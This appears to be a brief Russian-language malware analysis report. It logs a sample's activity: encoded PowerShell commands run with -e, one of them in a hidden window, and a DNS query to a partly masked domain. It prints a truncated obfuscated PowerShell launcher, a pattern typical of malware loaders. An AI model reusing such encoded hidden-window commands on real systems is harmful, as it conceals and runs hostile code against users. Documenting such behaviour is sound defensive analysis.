Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAEEAWgBBAGsAQgBBAFUAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHcAMQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBVAEIAQQAnACwAJwBBACcAKQAsACcAQQBBACcAKQApADsAJ...
- DNS ASK fg####rhayden.info
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAEEAWgBBAGsAQgBBAFUAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHcAMQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBVAEIAQQAnACwAJwBBACcAKQAsACcAQQBBACcAKQApADsAJ... (со скрытым окном)